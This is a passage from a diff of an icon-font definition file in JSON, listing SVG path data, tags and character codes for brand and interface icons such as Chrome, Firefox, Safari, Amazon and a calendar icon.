420.571-188.571 420.571-420.571-188.571-420.571-420.571-420.571zM1024 512c0 282.857-229.143 512-512 512s-512-229.143-512-512 229.143-512 512-512v0c282.857 0 512 229.143 512 512z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "registered" + ], + "defaultCode": 62045, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "registered", + "id": 552, + "order": 1408, + "prevSize": 28, + "code": 62045 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 552 + }, + { + "icon": { + "paths": [ + "M345.714 704.571c93.714 0 144.571-57.143 146.857-59.429 4.571-5.714 5.714-14.286 1.714-20.571l-25.714-46.857c-2.286-5.143-8-8.571-13.714-9.714-5.714-0.571-11.429 1.714-15.429 6.286-0.571 0-36.571 38.286-89.143 38.286-57.714 0-99.429-42.286-99.429-101.143 0-58.286 40.571-100 97.143-100 47.429 0 78.857 32 78.857 32 4 4 9.143 6.286 14.857 5.714s10.857-3.429 13.714-8l30.286-44.571c4.571-6.857 4-16-1.143-22.286-1.714-2.286-48-54.857-138.857-54.857-112.571 0-196.571 82.857-196.571 192.571 0 111.429 82.286 192.571 196.571 192.571zM705.714 704.571c94.286 0 144.571-57.143 146.857-59.429 4.571-5.714 5.714-14.286 2.286-20.571l-25.714-46.857c-2.857-5.143-8-8.571-14.286-9.714-5.714-0.571-11.429 1.714-15.429 6.286-0.571 0-36.571 38.286-89.143 38.286-57.714 0-99.429-42.286-99.429-101.143 0-58.286 40.571-100 97.143-100 48 0 78.857 32 78.857 32 4 4 9.143 6.286 14.857 5.714s10.857-3.429 13.714-8l30.286-44.571c4.571-6.857 4-16-1.143-22.286-1.714-2.286-48-54.857-138.857-54.857-112 0-196.571 82.857-196.571 192.571 0 111.429 82.286 192.571 196.571 192.571zM512 91.429c-232 0-420.571 188.571-420.571 420.571s188.571 420.571 420.571 420.571 420.571-188.571 420.571-420.571-188.571-420.571-420.571-420.571zM512 0c282.857 0 512 229.143 512 512s-229.143 512-512 512-512-229.143-512-512 229.143-512 512-512z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "creative-commons" + ], + "defaultCode": 62046, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "creative-commons", + "id": 553, + "order": 1409, + "prevSize": 28, + "code": 62046 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 553 + }, + { + "icon": { + "paths": [ + "M420.571 457.143l219.429 219.429-219.429 219.429-384-384 384-384 96 96-54.857 54.857-41.143-41.143-274.286 274.286 274.286 274.286 110.286-110.286-165.143-164zM749.714 128l384 384-384 384-96-96 54.857-54.857 41.143 41.143 274.286-274.286-274.286-274.286-110.286 110.286 165.143 164-54.857 54.857-219.429-219.429z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "gg" + ], + "defaultCode": 62048, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "gg", + "id": 554, + "order": 1410, + "prevSize": 28, + "code": 62048 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 554 + }, + { + "icon": { + "paths": [ + "M409.714 773.714l154.857-154.857-159.429-159.429-50.286 50.286 109.714 109.143-54.857 54.857-159.429-159.429 159.429-159.429 22.857 22.857 49.714-49.714-72.571-73.143-259.429 259.429zM614.286 769.143l259.429-259.429-259.429-259.429-154.857 154.857 159.429 159.429 50.286-50.286-109.714-109.143 54.857-54.857 159.429 159.429-159.429 159.429-22.857-22.857-49.714 50.286zM1024 512c0 282.857-229.143 512-512 512s-512-229.143-512-512 229.143-512 512-512 512 229.143 512 512z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "gg-circle" + ], + "defaultCode": 62049, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "gg-circle", + "id": 555, + "order": 1411, + "prevSize": 28, + "code": 62049 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 555 + }, + { + "icon": { + "paths": [ + "M372 569.714c0 29.714-24 53.714-53.143 53.714-29.714 0-53.714-24-53.714-53.714 0-29.143 24-53.143 53.714-53.143 29.143 0 53.143 24 53.143 53.143zM1031.429 569.143c0 29.714-24 53.714-53.714 53.714s-53.714-24-53.714-53.714 24-53.143 53.714-53.143 53.714 23.429 53.714 53.143zM437.143 569.714c0-60.571-49.714-110.286-110.286-110.286-61.143 0-110.286 49.714-110.286 110.286 0 61.143 49.143 110.286 110.286 110.286 60.571 0 110.286-49.143 110.286-110.286zM1096 569.143c0-60.571-49.143-110.286-110.286-110.286-60.571 0-110.286 49.714-110.286 110.286 0 61.143 49.714 110.286 110.286 110.286 61.143 0 110.286-49.143 110.286-110.286zM485.714 569.714c0 88-70.857 159.429-158.857 159.429s-159.429-71.429-159.429-159.429c0-87.429 71.429-158.857 159.429-158.857s158.857 71.429 158.857 158.857zM1145.143 569.143c0 88-71.429 158.857-159.429 158.857-87.429 0-158.857-70.857-158.857-158.857s71.429-158.857 158.857-158.857c88 0 159.429 70.857 159.429 158.857zM594.286 570.857c0-145.714-118.286-264-264-264-145.143 0-263.429 118.286-263.429 264s118.286 264 263.429 264c145.714 0 264-118.286 264-264zM976 243.429c-94.286-41.143-200.571-63.429-317.714-63.429s-233.714 22.286-327.429 62.857c181.143 0.571 327.429 146.857 327.429 328 0-177.714 141.143-322.286 317.714-327.429zM1249.714 570.857c0-145.714-117.714-264-263.429-264s-264 118.286-264 264 118.286 264 264 264 263.429-118.286 263.429-264zM1097.714 247.429h218.857c-34.286 40-59.429 93.714-65.714 130.857 39.429 54.286 62.857 120.571 62.857 192.571 0 181.143-146.857 327.429-327.429 327.429-102.857 0-194.286-46.857-254.286-120.571 0 0-26.857 32-73.714 102.286-8-16.571-48.571-74.286-73.143-102.857-60 74.286-152 121.143-254.857 121.143-180.571 0-327.429-146.286-327.429-327.429 0-72 23.429-138.286 62.857-192.571-6.286-37.143-31.429-90.857-65.714-130.857h208.571c112-74.857 274.857-121.714 449.714-121.714s327.429 46.857 439.429 121.714z" + ], + "width": 1316.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "tripadvisor" + ], + "defaultCode": 62050, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "tripadvisor", + "id": 556, + "order": 1412, + "prevSize": 28, + "code": 62050 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 556 + }, + { + "icon": { + "paths": [ + "M365.714 518.286c-142.857 0-259.429-116-259.429-258.857 0-143.429 116.571-259.429 259.429-259.429s259.429 116 259.429 259.429c0 142.857-116.571 258.857-259.429 258.857zM365.714 131.429c-70.286 0-127.429 57.143-127.429 128 0 70.286 57.143 127.429 127.429 127.429s127.429-57.143 127.429-127.429c0-70.857-57.143-128-127.429-128zM664.571 549.714c25.143 51.429-3.429 76-68.571 118.286-54.857 34.857-130.286 48.571-180 53.714l41.714 41.143 152.571 152.571c22.857 23.429 22.857 61.143 0 84l-6.857 7.429c-23.429 22.857-61.143 22.857-84.571 0-38.286-38.857-94.286-94.857-152.571-153.143l-152.571 153.143c-23.429 22.857-61.143 22.857-84 0l-6.857-7.429c-23.429-22.857-23.429-60.571 0-84 38.857-38.857 94.286-94.857 152.571-152.571l41.143-41.143c-49.143-5.143-125.714-18.286-181.143-53.714-65.143-42.286-93.714-66.857-68.571-118.286 14.857-29.143 55.429-53.714 109.143-11.429 0 0 72.571 57.714 189.714 57.714s189.714-57.714 189.714-57.714c53.714-42.286 94.286-17.714 109.143 11.429z" + ], + "width": 731.4285714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "odnoklassniki" + ], + "defaultCode": 62051, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "odnoklassniki", + "id": 557, + "order": 1413, + "prevSize": 28, + "code": 62051 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 557 + }, + { + "icon": { + "paths": [ + "M529.714 331.429c0 50.286-40.571 90.857-90.857 90.857s-90.857-40.571-90.857-90.857 40.571-90.857 90.857-90.857 90.857 40.571 90.857 90.857zM652 538.857c-10.286-20.571-39.429-38.286-77.714-8 0 0-52 41.143-135.429 41.143s-135.429-41.143-135.429-41.143c-38.286-30.286-67.429-12.571-77.714 8-18.286 36.571 2.286 54.286 48.571 84.571 39.429 25.143 94.286 34.857 129.143 38.286l-29.143 29.714c-41.143 41.143-81.143 81.143-109.143 108.571-16.571 16.571-16.571 43.429 0 60l5.143 5.143c16.571 16.571 43.429 16.571 60 0l109.143-109.143c41.143 41.714 81.143 81.714 109.143 109.143 16.571 16.571 43.429 16.571 60 0l5.143-5.143c16.571-16.571 16.571-43.429 0-60l-109.143-108.571-29.714-29.714c35.429-3.429 89.143-13.143 128.571-38.286 46.286-30.286 66.857-48 48.571-84.571zM624 331.429c0-102.286-82.857-185.143-185.143-185.143s-185.143 82.857-185.143 185.143 82.857 185.143 185.143 185.143 185.143-82.857 185.143-185.143zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "odnoklassniki-square" + ], + "defaultCode": 62052, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "odnoklassniki-square", + "id": 558, + "order": 1414, + "prevSize": 28, + "code": 62052 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 558 + }, + { + "icon": { + "paths": [ + "M894.286 73.143c49.714 0 88.571 40 88.571 89.143v296.571c0 273.714-218.857 492-490.857 492-273.143 0-492-218.286-492-492v-296.571c0-48.571 40.571-89.143 89.143-89.143h805.143zM492 681.143c17.143 0 34.286-6.857 46.857-18.857l230.857-221.714c13.143-12.571 21.143-30.286 21.143-48.571 0-37.143-30.286-67.429-67.429-67.429-17.714 0-34.286 6.857-46.857 18.857l-184.571 177.143-184.571-177.143c-12.571-12-29.143-18.857-46.286-18.857-37.143 0-67.429 30.286-67.429 67.429 0 18.286 7.429 36 20.571 48.571l231.429 221.714c12 12 29.143 18.857 46.286 18.857z" + ], + "width": 982.8205714285714, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "get-pocket" + ], + "defaultCode": 62053, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "get-pocket", + "id": 559, + "order": 1415, + "prevSize": 28, + "code": 62053 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 559 + }, + { + "icon": { + "paths": [ + "M853.714 936.571l-168.571-397.143c-66.857 130.857-140.571 267.429-204 397.143-0.571 0.571-30.857 0-30.857-0.571-96.571-225.714-197.714-449.714-294.286-676-23.429-54.857-101.714-144-155.429-143.429 0-6.286-0.571-20.571-0.571-29.143h333.143v28.571c-39.429 2.286-108.571 27.429-89.143 70.286 45.143 102.286 213.143 494.286 258.286 593.714 30.857-61.143 118.857-224.571 154.857-293.714-28.571-58.286-120.571-275.429-149.714-329.143-20-36.571-74.286-40-114.857-40.571v-28.571l293.143 0.571v26.857c-40 1.143-78.286 16-60.571 53.714 38.857 82.286 62.857 140 98.857 215.429 11.429-22.286 71.429-142.857 98.857-207.429 18.286-42.286-8-58.857-79.429-60.571 0.571-7.429 0-21.143 0.571-28 91.429-0.571 228.571-0.571 253.143-1.143v28c-46.286 1.714-94.286 26.286-119.429 65.143l-121.714 252.571c13.143 33.143 130.286 293.714 142.286 322.286l252-581.143c-17.714-47.429-74.857-57.714-97.143-58.286v-28.571l262.857 2.286 0.571 1.143-0.571 25.143c-57.714 1.714-92.571 32.571-114.857 82.857-51.429 118.857-212.571 493.714-319.429 737.714h-28z" + ], + "width": 1316.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "wikipedia-w" + ], + "defaultCode": 62054, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "wikipedia-w", + "id": 560, + "order": 1416, + "prevSize": 28, + "code": 62054 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 560 + }, + { + "icon": { + "paths": [ + "M542.286 510.286c0 18.857-13.143 36.571-33.143 36.571-18.857 0-36.571-13.714-36.571-33.143 0-18.857 13.714-36.571 33.714-36.571 18.286 0 36 13.143 36 33.143zM550.857 543.429l200-332c-26.857 25.143-277.143 255.429-284 267.429l-199.429 331.429c26.286-24.571 277.143-256 283.429-266.857zM920.571 512c0 74.857-20.571 148.571-59.429 212-5.714-2.857-29.714-20-34.286-20-4 0-7.429 3.429-7.429 7.429 0 7.429 26.857 21.143 33.714 25.143-56.571 85.714-144 147.429-243.429 172l-9.143-38.286c-0.571-5.143-4-5.714-8.571-5.714-4 0-6.286 5.714-5.714 8.571l9.143 38.857c-27.429 5.714-55.429 8.571-83.429 8.571-74.857 0-148.571-21.143-212.571-60 3.429-5.714 25.143-37.143 25.143-41.714 0-4-3.429-7.429-7.429-7.429-8 0-25.143 34.286-30.286 41.143-86.286-57.143-148.571-145.714-172.571-246.857l39.429-8.571c4.571-1.143 5.714-4.571 5.714-8.571s-5.714-6.286-9.143-5.714l-38.857 8.571c-5.143-26.286-8-52.571-8-79.429 0-76.571 21.714-152 62.286-216.571 5.714 3.429 33.143 22.286 37.714 22.286 4 0 7.429-2.857 7.429-6.857 0-8-30.286-23.429-37.143-28 58.286-85.143 146.857-146.286 247.429-169.143l8.571 38.286c1.143 4.571 4.571 5.714 8.571 5.714s6.286-5.714 5.714-9.143l-8.571-37.714c25.143-4.571 50.857-7.429 76.571-7.429v0c76.571 0 151.429 21.714 216.571 62.286-4 5.714-22.286 32.571-22.286 37.143 0 4 2.857 7.429 6.857 7.429 8 0 23.429-29.714 27.429-36.571 84.571 57.143 145.143 144.571 168.571 244l-32 6.857c-5.143 1.143-5.714 4.571-5.714 9.143 0 4 5.714 6.286 8.571 5.714l32.571-7.429c5.143 26.286 8 53.143 8 80zM969.143 512c0-252.571-204.571-457.143-457.143-457.143s-457.143 204.571-457.143 457.143 204.571 457.143 457.143 457.143 457.143-204.571 457.143-457.143zM1024 512c0 282.857-229.143 512-512 512s-512-229.143-512-512 229.143-512 512-512 512 229.143 512 512z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "safari" + ], + "defaultCode": 62055, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "safari", + "id": 561, + "order": 1417, + "prevSize": 28, + "code": 62055 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 561 + }, + { + "icon": { + "paths": [ + "M510.286 0c87.429-0.571 176.571 21.714 257.714 68.571 89.714 52 157.714 126.857 201.143 212.571l-424-22.286c-120-6.857-234.286 60.571-273.714 173.714l-157.714-242.286c98.286-122.286 245.714-189.714 396.571-190.286zM83.429 231.429l192.571 378.857c54.286 106.857 169.143 172 288 149.714l-131.429 257.714c-245.143-37.714-432.571-249.714-432.571-505.714 0-103.429 30.857-200 83.429-280.571zM989.714 328c89.714 230.857 0 499.429-221.714 627.429-89.714 52-188.571 73.143-284.571 68l231.429-356c65.714-101.143 64.571-233.143-13.714-324.571zM512 339.429c95.429 0 172.571 77.143 172.571 172.571s-77.143 172.571-172.571 172.571-172.571-77.143-172.571-172.571 77.143-172.571 172.571-172.571z" + ], + "width": 1079.4422857142856, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "chrome" + ], + "defaultCode": 62056, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "chrome", + "id": 562, + "order": 1418, + "prevSize": 28, + "code": 62056 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 562 + }, + { + "icon": { + "paths": [ + "M516 1024c-220.571 0-396-129.143-476.571-313.714-90.286-205.143-18.286-533.714 142.286-678.857l-6.286 160.571c8-10.286 69.143-13.143 78.857 0 33.143-63.429 140-110.857 225.714-112.571-32.571 27.429-108 127.429-101.714 178.286 41.714 13.143 105.714 13.714 139.429 16 10.286 5.714 8.571 40.571-12 69.143 0 0-26.857 37.143-99.429 50.286l8.571 108-79.429-38.286c-25.714 65.143 36 122.857 100 112 70.857-12 96-58.286 145.714-55.429 49.143 2.857 68.571 30.286 62.286 56 0 0-8 30.857-61.143 25.714-45.143 71.429-105.143 102.857-202.286 94.286 147.429 122.286 346.286 11.429 396.571-88.571 50.286-99.429 6.286-247.429-44-289.143 59.429 25.714 100.571 52 122.286 109.714 11.429-128-47.429-273.143-152.571-358.286 197.714 57.714 318.286 210.857 321.714 455.429s-216.571 499.429-508 499.429z" + ], + "width": 976.6034285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "firefox" + ], + "defaultCode": 62057, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "firefox", + "id": 563, + "order": 1419, + "prevSize": 28, + "code": 62057 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 563 + }, + { + "icon": { + "paths": [ + "M853.143 130.286c-60-40-130.286-62.857-205.143-62.857-121.714 0-229.143 62.286-304.571 156-54.857 68.571-93.143 165.714-96 276.571v24c2.857 110.857 41.143 208 96 276.571 75.429 93.714 182.857 156 304.571 156 74.857 0 145.143-22.857 205.143-62.857-90.286 81.143-210.286 130.286-341.143 130.286-8 0-16.571 0-24.571-0.571-271.429-12.571-487.429-236.571-487.429-511.429 0-282.857 229.143-512 512-512h1.714c130.286 0.571 249.143 49.714 339.429 130.286zM1024 512c0 149.143-64 282.857-165.714 376.571-38.857 23.429-81.714 36-126.857 36-52.571 0-102.286-17.143-145.714-48 116-42.286 201.714-189.143 201.714-364.571 0-174.857-85.143-321.714-201.143-364.571 43.429-30.286 92.571-47.429 145.143-47.429 46.286 0 89.714 13.143 129.143 37.143 100.571 93.714 163.429 226.857 163.429 374.857z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "opera" + ], + "defaultCode": 62058, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "opera", + "id": 564, + "order": 1420, + "prevSize": 28, + "code": 62058 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 564 + }, + { + "icon": { + "paths": [ + "M1024 535.429c0 20-1.143 40-4 59.429h-657.714c0 113.714 100 196 209.714 196 74.286 0 145.714-36.571 184-101.143h241.714c-65.143 183.429-239.429 306.286-433.714 306.286-70.286 0-140.571-16.571-203.429-47.429-64 32.571-153.714 66.286-225.143 66.286-96 0-135.429-58.857-135.429-150.286 0-53.143 11.429-106.286 25.714-157.143 9.143-33.143 45.714-100.571 62.286-130.857 70.286-127.429 162.857-249.714 271.429-346.286-87.429 37.714-182.286 132.571-244 202.286 48-209.143 234.286-357.143 448.571-357.143 8.571 0 17.143 0 25.714 0.571 70.857-32.571 169.714-66.857 247.429-66.857 92.571 0 172 35.429 172 140 0 54.857-21.143 114.286-42.857 163.429 37.714 68 57.714 145.143 57.714 222.857zM984 169.714c0-64-45.714-103.429-108.571-103.429-48 0-102.286 19.429-145.143 40 92.571 36 172 102.286 224.571 186.857 14.286-37.714 29.143-83.429 29.143-123.429zM73.143 876.571c0 66.286 39.429 102.286 104.571 102.286 50.857 0 107.429-22.857 152-47.429-93.143-54.857-165.143-142.286-200.571-244.571-26.286 54.857-56 128-56 189.714zM361.143 469.143h416c-4-110.286-101.143-189.714-208-189.714-107.429 0-204 79.429-208 189.714z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "internet-explorer" + ], + "defaultCode": 62059, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "internet-explorer", + "id": 565, + "order": 1421, + "prevSize": 28, + "code": 62059 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 565 + }, + { + "icon": { + "paths": [ + "M1024 713.143v-548.571c0-9.714-8.571-18.286-18.286-18.286h-914.286c-9.714 0-18.286 8.571-18.286 18.286v548.571c0 9.714 8.571 18.286 18.286 18.286h914.286c9.714 0 18.286-8.571 18.286-18.286zM1097.143 164.571v548.571c0 50.286-41.143 91.429-91.429 91.429h-420.571v73.143h201.143c10.286 0 18.286 8 18.286 18.286v36.571c0 10.286-8 18.286-18.286 18.286h-475.429c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h201.143v-73.143h-420.571c-50.286 0-91.429-41.143-91.429-91.429v-548.571c0-50.286 41.143-91.429 91.429-91.429h914.286c50.286 0 91.429 41.143 91.429 91.429z" + ], + "width": 1097.142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "television", + "tv" + ], + "defaultCode": 62060, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "television, tv", + "id": 566, + "order": 1422, + "prevSize": 28, + "code": 62060 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 566 + }, + { + "icon": { + "paths": [ + "M78.857 73.143h112.571c-26.857 24.571-50.857 53.143-72 85.143-88.571 136.571-52.571 286.286-18.286 447.429 28 130.857 51.429 255.429 133.143 345.143h-155.429c-36.571 0-66.286-29.714-66.286-66.286v-745.143c0-36.571 29.714-66.286 66.286-66.286zM769.143 73.143h176c36.571 0 66.286 29.714 66.286 66.286v745.143c0 36.571-29.714 66.286-66.286 66.286h-101.714c75.429-74.857 118.286-183.429 112-322.857l-268 57.714c-3.429 63.429-25.143 124.571-112 142.857-48.571 10.286-88.571-1.143-113.714-22.857-30.857-26.286-55.429-60.571-96.571-256-41.714-196-33.143-237.143-16-273.714 14.286-29.714 46.286-57.143 94.286-67.429 87.429-18.286 132 29.143 161.143 85.714l267.429-57.143c-26.286-67.429-61.143-122.286-102.857-164z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "contao" + ], + "defaultCode": 62061, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "contao", + "id": 567, + "order": 1423, + "prevSize": 28, + "code": 62061 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 567 + }, + { + "icon": { + "paths": [ + "M800.571 884l-3.429 3.429c-42.857 42.857-92.571 76.571-148 100-57.714 24-118.286 36.571-181.143 36.571s-124-12.571-181.143-36.571c-55.429-23.429-105.714-57.143-148-100-42.857-42.286-76.571-92-100-147.429-14.286-34.857-25.714-70.857-30.857-108v0c-2.286-16 20-19.429 27.429-20.571 17.714-2.857 29.714-1.714 32 11.429 0.571 0.571 0.571 1.143 0.571 2.286 2.286 11.429 8 45.714 26.286 90.857 18.857 46.857 48 90.286 86.857 129.143 37.143 37.143 80.571 66.286 129.143 86.857 49.714 21.143 102.857 32 157.714 32 54.286 0 107.429-10.857 157.714-32 48-20.571 91.429-49.714 128.571-86.857l3.429-3.429c4-4 8.571-5.143 14.286-3.429 5.143 1.143 11.429 5.714 18.857 12.571v0c18.286 18.857 14.286 28 9.714 33.143zM530.857 532.571l-37.714 37.714 36 36c4 4 11.429 12.571-4 28-6.286 6.286-12.571 9.714-18.286 9.714-4 0-7.429-1.714-10.857-5.714l-35.429-34.857-37.714 37.714c-1.143 1.143-4 2.857-8.571 2.857-5.143 0-11.429-2.857-17.714-9.143l-1.143-1.143c-4-3.429-10.286-9.714-10.286-16.571 0-3.429 1.714-6.286 4.571-9.714l37.714-37.143-37.714-37.714c-6.286-6.286-3.429-14.286 8-25.714 6.857-6.857 12.571-10.286 17.714-10.286 2.857 0 5.143 1.143 7.429 2.857l37.143 37.714 37.143-37.143c6.286-6.286 16.571-3.429 27.429 7.429 6.857 6.857 14.286 16.571 6.286 25.143zM800 565.143c0 45.143-9.143 89.143-26.286 130.286-17.143 40-41.143 75.429-72 106.286s-66.857 54.857-106.857 72c-41.143 17.714-85.143 26.286-130.286 26.286s-89.143-8.571-130.286-26.286c-40-17.143-76-41.143-106.857-72s-54.857-66.286-71.429-106.286c-3.429-7.429-8.571-21.714-8.571-22.857h-0.571c-5.143-16 17.714-22.857 24.571-25.143 16.571-5.143 29.143-7.429 34.286 6.857 13.714 36.571 34.857 72 55.429 95.429h0.571v-194.857c1.143-48 21.143-96.571 58.286-132.571 38.286-37.714 89.714-58.857 144.571-58.857 112 0 202.857 90.286 202.857 201.143 0 112-91.429 202.857-202.857 202.857-22.286 0-38.857-1.714-64-9.143-2.857-1.143-16-6.857-7.429-34.857 2.286-7.429 9.143-29.143 25.143-24.571 1.143 0 29.143 6.857 44 6.857 79.429 0 141.714-61.714 141.714-140.571 0-37.143-14.857-72-41.143-97.714-26.286-26.286-61.714-40.571-100-40.571-39.429 0-75.429 16-101.714 45.714-22.857 25.714-36.571 60-36.571 91.429v236c41.143 25.143 88.571 38.286 138.286 38.286 73.143 0 144-29.143 194.857-80 51.429-51.429 80-120.571 80-193.143 0-73.143-28.571-141.714-80.571-193.714-51.429-51.429-120-80-193.714-80s-142.857 28.571-194.286 80c-0.571 0.571-33.143 34.286-44 49.714l-1.143 1.143c-6.857 9.714-13.143 18.857-41.714 12.571-14.286-3.429-29.714-12-29.714-24.571v-388.571c0-10.286 8-21.714 21.714-21.714h501.143c17.143 0 17.143 24 17.143 31.429 0 8 0 31.429-17.143 31.429h-463.429v276h0.571c32-33.714 87.429-69.143 120-82.857 40.571-17.143 86.286-26.286 132-26.286 45.143 0 89.143 8.571 130.286 26.286 40 17.143 76 41.143 106.857 72s54.857 66.286 72 106.286c17.143 41.714 26.286 85.143 26.286 130.857zM782.286 233.143c10.857 9.714 3.429 20-7.429 32.571-6.857 6.857-14.286 14.857-22.286 14.857-3.429 0-6.286-1.143-9.143-4-41.143-35.429-78.286-59.429-118.286-76-49.714-21.714-102.857-32-157.714-32-48.571 0-101.714 9.714-149.714 28-14.857 5.714-22.857-13.714-25.714-21.143-3.429-9.143-5.143-16.571-4.571-21.714 1.143-5.714 4-9.714 9.143-11.429 46.857-20.571 110.857-32.571 170.857-32.571 62.286 0 123.429 12.571 180.571 36.571 52.571 22.286 95.429 49.714 134.286 86.857z" + ], + "width": 814.8845714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "500px" + ], + "defaultCode": 62062, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "500px", + "id": 568, + "order": 1424, + "prevSize": 28, + "code": 62062 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 568 + }, + { + "icon": { + "paths": [ + "M886.286 843.429c17.143-8.571 30.286 4.571 12.571 27.429s-160 153.143-398.857 153.143-421.714-163.429-477.714-230.857c-15.429-17.714 2.286-25.714 12.571-18.857 167.429 101.714 429.143 269.143 851.429 69.143zM1004.571 777.714c8.571 11.429 0 61.714-14.857 98.286-14.857 36-36.571 61.143-48.571 70.857-12.571 10.286-21.714 6.286-14.857-8.571s44-106.286 29.143-125.714c-14.857-18.857-84.571-9.714-109.714-7.429-24.571 2.286-29.714 4.571-32-0.571-5.143-13.143 49.714-35.429 85.714-40 36-4 93.714-1.714 105.143 13.143zM779.429 524.571c0 62.857 73.714 120.571 73.714 120.571l-129.714 128c-50.857-48-89.143-88-89.143-88-5.714-5.714-10.286-12.571-14.286-18.857-103.429 161.714-419.429 151.429-419.429-98.857 0-233.143 276-264.571 387.429-268.571v-72.571c0-15.429 5.714-85.714-81.143-85.714 0 0-86.857 0-124 113.143l-168-15.429c0-112.571 106.857-238.286 308-238.286 200.571 0 256.571 130.286 256.571 188v336.571zM395.429 536.571c0 116 192.571 143.429 192.571-39.429v-92.571c-77.143 2.286-192.571 24-192.571 132z" + ], + "width": 1019.9771428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "amazon" + ], + "defaultCode": 62064, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "amazon", + "id": 569, + "order": 1425, + "prevSize": 28, + "code": 62064 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 569 + }, + { + "icon": { + "paths": [ + "M877.714 146.286c40 0 73.143 33.143 73.143 73.143v731.429c0 40-33.143 73.143-73.143 73.143h-804.571c-40 0-73.143-33.143-73.143-73.143v-731.429c0-40 33.143-73.143 73.143-73.143h73.143v-54.857c0-50.286 41.143-91.429 91.429-91.429h36.571c50.286 0 91.429 41.143 91.429 91.429v54.857h219.429v-54.857c0-50.286 41.143-91.429 91.429-91.429h36.571c50.286 0 91.429 41.143 91.429 91.429v54.857h73.143zM658.286 91.429v164.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286v-164.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286zM219.429 91.429v164.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286v-164.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286zM877.714 950.857v-585.143h-804.571v585.143h804.571zM512 621.714h128c10.286 0 18.286 8 18.286 18.286v36.571c0 10.286-8 18.286-18.286 18.286h-128v128c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-128h-128c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h128v-128c0-10.286 8-18.286 18.286-18.286h36.571c10.286 0 18.286 8 18.286 18.286v128z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "calendar-plus-o" + ], + "defaultCode": 62065, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "calendar-plus-o", + "id": 570, + "order": 1426, + "prevSize": 28, + "code": 62065 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 570 + }, + { + "icon": { + "paths": [ + "M658.286 640v36.571c0 10.286-8 18.286-18.286 18.286h-329.143c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 